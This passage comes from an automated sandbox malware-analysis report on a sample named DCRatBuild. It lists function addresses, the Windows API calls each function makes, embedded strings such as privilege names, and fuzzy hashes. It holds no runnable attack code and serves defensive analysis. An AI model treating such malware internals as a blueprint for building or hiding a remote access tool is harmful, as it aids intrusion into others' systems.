Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a695dd8e4981119fbdd43799e076c189a8d1338f2cf1cc84828caa7838d9931a
Instruction ID: 22c078e863c28dd5eac3e5fa9a00dbdda731b16a78bce51274bad6762527a6aa
Opcode Fuzzy Hash: a695dd8e4981119fbdd43799e076c189a8d1338f2cf1cc84828caa7838d9931a
Instruction Fuzzy Hash: FAF0E970081B159FDF308A28C458B937BE86B13322F044B2FD0E242AE0D3686D8D8A44

Non-executed Functions

Function 004AC220 Relevance: 51.0, APIs: 25, Strings: 4, Instructions: 286timewindowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00491316: GetDlgItem.USER32(00000000,00003021), ref: 0049135A
Part of subcall function 00491316: SetWindowTextW.USER32(00000000,004C35F4), ref: 00491370

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 004AC2B1
EndDialog.USER32(?,00000006), ref: 004AC2C4
GetDlgItem.USER32(?,0000006C), ref: 004AC2E0
SetFocus.USER32(00000000), ref: 004AC2E7
SetDlgItemTextW.USER32(?,00000065,?), ref: 004AC321
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 004AC358
FindFirstFileW.KERNEL32(?,?), ref: 004AC36E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 004AC38C
FileTimeToSystemTime.KERNEL32(?,?), ref: 004AC39C
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 004AC3B8
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 004AC3D4
_swprintf.LIBCMT ref: 004AC404

Part of subcall function 00494092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 004940A5

SetDlgItemTextW.USER32(?,0000006A,?), ref: 004AC417
FindClose.KERNEL32(00000000), ref: 004AC41E
_swprintf.LIBCMT ref: 004AC477
SetDlgItemTextW.USER32(?,00000068,?), ref: 004AC48A
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 004AC4A7
FileTimeToLocalFileTime.KERNEL32(?,?,?), ref: 004AC4C7
FileTimeToSystemTime.KERNEL32(?,?), ref: 004AC4D7
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 004AC4F1
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 004AC509
_swprintf.LIBCMT ref: 004AC535
SetDlgItemTextW.USER32(?,0000006B,?), ref: 004AC548
_swprintf.LIBCMT ref: 004AC59C
SetDlgItemTextW.USER32(?,00000069,?), ref: 004AC5AF

Part of subcall function 004AAF0F: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 004AAF35
Part of subcall function 004AAF0F: GetNumberFormatW.KERNEL32(00000400,00000000,?,004CE72C,?,?), ref: 004AAF84

Strings

REPLACEFILEDLG, xrefs: 004AC247
%s %s %s, xrefs: 004AC3F2, 004AC527
%s %s, xrefs: 004AC469, 004AC58E
PJ, xrefs: 004AC342

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: ItemTime$File$Text$Format$_swprintf$MessageSend$DateFindLocalSystem$CloseDialogFirstFocusInfoLocaleNumberWindow__vswprintf_c_l
String ID: %s %s$%s %s %s$PJ$REPLACEFILEDLG
API String ID: 797121971-4073223090
Opcode ID: 4f3bddb64647147ad8ca5e3e08da67cd3139341d5b5ea46a002e75b69e9d60b4
Instruction ID: 2ec48457ce7372fc327b3d582c62a2df3a425f25286e1c5f17ca23e8ae3e6711
Opcode Fuzzy Hash: 4f3bddb64647147ad8ca5e3e08da67cd3139341d5b5ea46a002e75b69e9d60b4
Instruction Fuzzy Hash: 2591D872548344BFD261DFA1CC89FFB77ACEB5A705F44482AF745D2081DB39AA04872A

Function 00496FAA Relevance: 28.3, APIs: 12, Strings: 4, Instructions: 328fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00496FAA
_wcslen.LIBCMT ref: 00497013
_wcslen.LIBCMT ref: 00497084

Part of subcall function 00497A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 00497AAB
Part of subcall function 00497A9C: GetLastError.KERNEL32 ref: 00497AF1
Part of subcall function 00497A9C: CloseHandle.KERNEL32(?), ref: 00497B00

Part of subcall function 0049A1E0: DeleteFileW.KERNELBASE(000000FF,?,?,0049977F,?,?,004995CF,?,?,?,?,?,004C2641,000000FF), ref: 0049A1F1
Part of subcall function 0049A1E0: DeleteFileW.KERNEL32(?,000000FF,?,00000800,?,?,0049977F,?,?,004995CF,?,?,?,?,?,004C2641), ref: 0049A21F

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,?,00000001,?), ref: 00497139
CloseHandle.KERNEL32(00000000), ref: 00497155
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 00497298

Part of subcall function 00499DA2: FlushFileBuffers.KERNEL32(?,?,?,?,?,?,004973BC,?,?,?,00000000), ref: 00499DBC
Part of subcall function 00499DA2: SetFileTime.KERNELBASE(?,?,?,?), ref: 00499E70

Part of subcall function 00499620: CloseHandle.KERNELBASE(000000FF,?,?,004995D6,?,?,?,?,?,004C2641,000000FF), ref: 0049963B

Part of subcall function 0049A4ED: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,0049A325,?,?,?,0049A175,?,00000001,00000000,?,?), ref: 0049A501
Part of subcall function 0049A4ED: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,0049A325,?,?,?,0049A175,?,00000001,00000000,?,?), ref: 0049A532

Strings

SeRestorePrivilege, xrefs: 00496FC2
UNC\, xrefs: 00497051
SeCreateSymbolicLinkPrivilege, xrefs: 00496FCC
\??\, xrefs: 0049702B

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: File$CloseHandle$AttributesCreateDelete_wcslen$BuffersCurrentErrorFlushH_prologLastProcessTime
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3983180755-3508440684
Opcode ID: 448a3ad46d1e8d87d5246563197dbff8d69ebe375f09eefd84bab1ac94b2af0b
Instruction ID: deaa5cb129d6765a03ff3a5fdbb226ba3e7a6575c05cee0acf82f9e71ddc636c
Opcode Fuzzy Hash: 448a3ad46d1e8d87d5246563197dbff8d69ebe375f09eefd84bab1ac94b2af0b
Instruction Fuzzy Hash: 55C1B571914604AADF21EB75CC41FEFBBA8AF05304F00456FF956E7282D738AA44CB69

Function 004BD8EE Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 004BDA34

Strings

1#IND, xrefs: 004BEC2C
1#SNAN, xrefs: 004BEC33
1#INF, xrefs: 004BEC41
1#QNAN, xrefs: 004BEC3A

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 4d8496bb9beecf522b420327b24cfe532e4bb3a648dfb6fe9476741fd8ab124d
Instruction ID: 9f9d6d471bdcd8cb4a2f61d0a615371f3d6e740c4ed5d1042a74342c09775beb
Opcode Fuzzy Hash: 4d8496bb9beecf522b420327b24cfe532e4bb3a648dfb6fe9476741fd8ab124d
Instruction Fuzzy Hash: 71C26A71E086288FDB25CE29DD407EAB7B9EB84304F1441EBD84DE7240E779AE818F55

Function 004932F7 Relevance: 9.4, APIs: 2, Strings: 3, Instructions: 608COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00493300
_swprintf.LIBCMT ref: 004936C7

Strings

CMT, xrefs: 00493A17
h%u, xrefs: 004936BC
hc%u, xrefs: 0049370A

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: H_prolog_swprintf
String ID: CMT$h%u$hc%u
API String ID: 146138363-3282847064
Opcode ID: 807c76de4cad80adbd281717522ac1f526bf03d80a0df17b9f59b7c4a641a65b
Instruction ID: bdefe928399178a8bc225cf48c3cc8c7c99c5467df457b5334d52e78fc9e7f7a
Opcode Fuzzy Hash: 807c76de4cad80adbd281717522ac1f526bf03d80a0df17b9f59b7c4a641a65b
Instruction Fuzzy Hash: E632E671514284AFDF14DF74C895AEA3FA5AF16304F04447FFD8A8B282D778AA49CB24

Function 0049286B Relevance: 7.8, APIs: 3, Strings: 1, Instructions: 798COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00492874
_strlen.LIBCMT ref: 00492E3F

Part of subcall function 004A02BA: __EH_prolog.LIBCMT ref: 004A02BF

Part of subcall function 004A1B84: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,0049BAE9,00000000,?,?,?,00010422), ref: 004A1BA0

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00492F91

Strings

CMT, xrefs: 00492FBC

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: H_prolog$ByteCharMultiUnothrow_t@std@@@Wide__ehfuncinfo$??2@_strlen
String ID: CMT
API String ID: 1206968400-2756464174
Opcode ID: 8c4b37b882a231bea77eac90be39d614820d94b4d39364d4ec2d8e0c68140f31
Instruction ID: a81a3659e10a5899cf8c41461d3f8c704e6669bfb5df9b0f5b31a3ac916de11f
Opcode Fuzzy Hash: 8c4b37b882a231bea77eac90be39d614820d94b4d39364d4ec2d8e0c68140f31
Instruction Fuzzy Hash: BB6226716002449FDF19DF38C9856EA3FA1AF15304F08457FEC9A8B382D7B8A945CB28

Function 004AF838 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 004AF844
IsDebuggerPresent.KERNEL32 ref: 004AF910
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004AF930
UnhandledExceptionFilter.KERNEL32(?), ref: 004AF93A

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: fa1d1eeeaf7d9dd63e731c11f7bb3131ea7230a723d56f478ad4a7c417e68999
Instruction ID: f88e6d07126bd016a0955cce8c55df5d26fabd6492faba2324d3684a6079aa01
Opcode Fuzzy Hash: fa1d1eeeaf7d9dd63e731c11f7bb3131ea7230a723d56f478ad4a7c417e68999
Instruction Fuzzy Hash: 7F314B75D052199FDB10DFA4D989BCDBBB8AF18305F1040AAE40CA7250EB759B888F08

Function 004AE6A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualQuery.KERNEL32(80000000,004AE5E8,0000001C,004AE7DD,00000000,?,?,?,?,?,?,?,004AE5E8,00000004,004F1CEC,004AE86D), ref: 004AE6B4
GetSystemInfo.KERNEL32(?,?,00000000,?,?,?,?,004AE5E8,00000004,004F1CEC,004AE86D), ref: 004AE6CF

Strings

D, xrefs: 004AE6C3

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: InfoQuerySystemVirtual
String ID: D
API String ID: 401686933-2746444292
Opcode ID: df4614f07e6be74cbdaa9bf6f3350cf96b7f26706112886d9d06772069c3f5c6
Instruction ID: fc96dc7fa062a88e75b69fb4ae22b9a3f691221488bffe9b012f6d895b7b42be
Opcode Fuzzy Hash: df4614f07e6be74cbdaa9bf6f3350cf96b7f26706112886d9d06772069c3f5c6
Instruction Fuzzy Hash: 3E012B766001096BDF14DE6ADC09FEE7BAAEFD5328F0CC121ED29D7250DA38D9058684

Function 004B8EBD Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 004B8FB5
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 004B8FBF
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 004B8FCC

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: d10dc19dae29b874dca6be33aeea0c5f18e10f6e189a6ea01248b0d92552dddd
Instruction ID: c87eb453f17ea18e5adea41704026456c15d14f555f84dc9940863217d7546b6
Opcode Fuzzy Hash: d10dc19dae29b874dca6be33aeea0c5f18e10f6e189a6ea01248b0d92552dddd
Instruction Fuzzy Hash: 4F31D474901218ABCB61DF65DC88BDDBBB8EF18311F5041EAE41CA7250EB349F858F58

Function 004BD440 Relevance: 3.5, APIs: 2, Instructions: 464COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aeb1b63111f38c8b5239956e5f87fb8bcb0c35bf5c950da3c1a86b78fccd596c
Instruction ID: d5b4d9e222b88a5dfd5ff8230583a7f2376b9fc63727e1a4c2a57d1ebc765a6a
Opcode Fuzzy Hash: aeb1b63111f38c8b5239956e5f87fb8bcb0c35bf5c950da3c1a86b78fccd596c
Instruction Fuzzy Hash: CF022D71E002199FDF14DFA9C9806EEBBF1EF48314F1581AAD819E7344EB34A941CB94

Function 004AAF0F Relevance: 3.0, APIs: 2, Instructions: 45COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 004AAF35
GetNumberFormatW.KERNEL32(00000400,00000000,?,004CE72C,?,?), ref: 004AAF84

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: 64ac774ec2a551ccc37aba45875822239b2708e68db3538b05dc5f8867838cb6
Instruction ID: e3b2f73eb387b42ff2971f20792b6f9602b94e85543a8cea7c831b4117afdc46
Opcode Fuzzy Hash: 64ac774ec2a551ccc37aba45875822239b2708e68db3538b05dc5f8867838cb6
Instruction Fuzzy Hash: 12019A3A110348AED7109F61EC45F9A77B8FF09310F108432FA04AB191E374A928CBA9

Function 00496C74 Relevance: 3.0, APIs: 2, Instructions: 16windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00496DDF,00000000,00000400), ref: 00496C74
FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,?,?,00000000), ref: 00496C95

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 4535ba0a7a1d567732a1be353c84be28c7a204ae138d3d52fb481ab6e6e59d1f
Instruction ID: 0a870a2a42a0215db0a570340df6b584ddfab269cdc5b994febb951a35024afa
Opcode Fuzzy Hash: 4535ba0a7a1d567732a1be353c84be28c7a204ae138d3d52fb481ab6e6e59d1f
Instruction Fuzzy Hash: E7D0C932344300BFFE510F628D06F6B7F99BF45B56F19C425B795E80E0CA789425A62D

Function 004C19F4 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,004C19EF,?,?,00000008,?,?,004C168F,00000000), ref: 004C1C21

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 9a34a5d23b5a595d628286b5877cda1c5343bcd2942041a95c0c00561a62ce61
Instruction ID: 0fc9d923d41c6440e5ec80e3e12e575f2bacb17b785a8fd919f3a67a07e21d3a
Opcode Fuzzy Hash: 9a34a5d23b5a595d628286b5877cda1c5343bcd2942041a95c0c00561a62ce61
Instruction Fuzzy Hash: C5B14B392106089FD755CF28C486B657BE0FF06364F25865DE89ACF2A2D339ED92CB44

Function 004AF654 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 004AF66A

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 7eae7918120332fba8430237d289656b4045f0a1dc763eb5453cd35275866535
Instruction ID: 69a50a29e5c177264ba1fa1fe17437093a7f0b046c710e48dccd8ec3c3a5ca00
Opcode Fuzzy Hash: 7eae7918120332fba8430237d289656b4045f0a1dc763eb5453cd35275866535
Instruction Fuzzy Hash: 9A51A0B5901619CFEB24CFD5E8857AABBF0FB59304F24843AC411EB360D379A904CB58

Function 0049B146 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 0049B16B

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: f22f540bc0f0d90fee35813926772e3849831261681d37881c491d9bbd1bd468
Instruction ID: 50f339ae4ed780f272b98a02921cfb2c89946e39c0a893035efeaa3c5dde1bd3
Opcode Fuzzy Hash: f22f540bc0f0d90fee35813926772e3849831261681d37881c491d9bbd1bd468
Instruction Fuzzy Hash: 28F030B4E002189FDB18DB19FD92AD577F1F748355F1042B7D915937A0C374A980CEA9

Function 004940FE Relevance: 1.5, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

gj, xrefs: 004941BC

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

